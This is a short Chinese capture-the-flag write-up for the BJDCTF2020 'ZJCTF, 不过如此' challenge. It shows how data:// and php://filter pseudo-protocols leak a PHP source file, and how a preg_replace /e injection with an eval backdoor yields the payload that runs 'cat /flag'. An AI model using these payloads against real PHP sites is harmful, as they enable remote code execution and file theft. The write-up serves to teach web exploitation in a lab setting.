[BJDCTF2020]ZJCTF,不过如此(php伪协议,data伪协议,preg

    科技2022-07-15  125

    伪协议常用在文件包含漏洞中. 常见的文件包含函数有: include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile. 具体的函数功能可以参考. 伪协议的学习 通过data协议构造 data://text/plain,I have a dream 通过php协议构造 php://filter/convert.base64-encode/resource=next.php 访问 得到next.php源代码

    <?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }

    接着是preg_replace /e模式下的漏洞. 这里会在匹配成功后执行’strtolower("\1")‘操作.而""里面的东西会解释执行,而’\1’,即’\1’在正则表达式中表示第一个子匹配项. 具体可以参考 深入研究preg_replace与代码执行 构造payload \S*=${getFlag()}&cmd=system(‘cat /flag’);(这里不要把’;'忘了)

    Processed: 0.010, SQL: 8